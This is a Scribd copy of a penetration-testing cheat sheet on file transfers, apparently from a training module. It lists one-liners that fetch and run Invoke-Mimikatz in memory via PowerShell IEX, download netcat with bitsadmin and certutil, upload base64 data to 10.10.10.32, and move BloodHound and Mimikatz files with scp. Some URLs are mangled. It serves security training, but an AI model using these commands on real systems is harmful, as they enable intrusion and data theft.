0% found this document useful (0 votes)
24 views2 pages

File Transfers Module Cheat Sheet

The document provides a cheat sheet of commands for transferring files using various tools including PowerShell, Bitsadmin, Certutil, Wget, cURL, PHP, and SCP. The cheat sheet lists each command and a brief description of how it can be used to download or upload files.

Uploaded by

rolandontheropes
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
24 views2 pages

File Transfers Module Cheat Sheet

The document provides a cheat sheet of commands for transferring files using various tools including PowerShell, Bitsadmin, Certutil, Wget, cURL, PHP, and SCP. The cheat sheet lists each command and a brief description of how it can be used to download or upload files.

Uploaded by

rolandontheropes
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 2

FILE TRANSFERS

CHEAT SHEET
Command Description

Invoke-WebRequest https://<snip>/PowerView.ps1 -OutFile PowerView.ps1 Download a


file with
PowerShell

IEX (New-Object Net.WebClient).DownloadString('https://<snip>/Invoke- Execute a


Mimikatz.ps1') file in
memory
using
PowerShell

Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64 Upload a file


with
PowerShell

bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe Download a


file using
Bitsadmin

certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe Download a


file using
Certutil

wget Download a
https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh file using
-O /tmp/LinEnum.sh
Wget

curl -o /tmp/LinEnum.sh Download a


https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh file using
cURL
Command Description

php -r '$file = file_get_contents("https://<snip>/LinEnum.sh"); Download a


file_put_contents("LinEnum.sh",$file);' file using
PHP

scp C:\Temp\bloodhound.zip [email protected]:/tmp/bloodhound.zip Upload a file


using SCP

scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe Download a


file using
SCP

Invoke-WebRequest http://nc.exe -UserAgent Invoke-


[Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe" WebRequest
using a
Chrome
User Agent

You might also like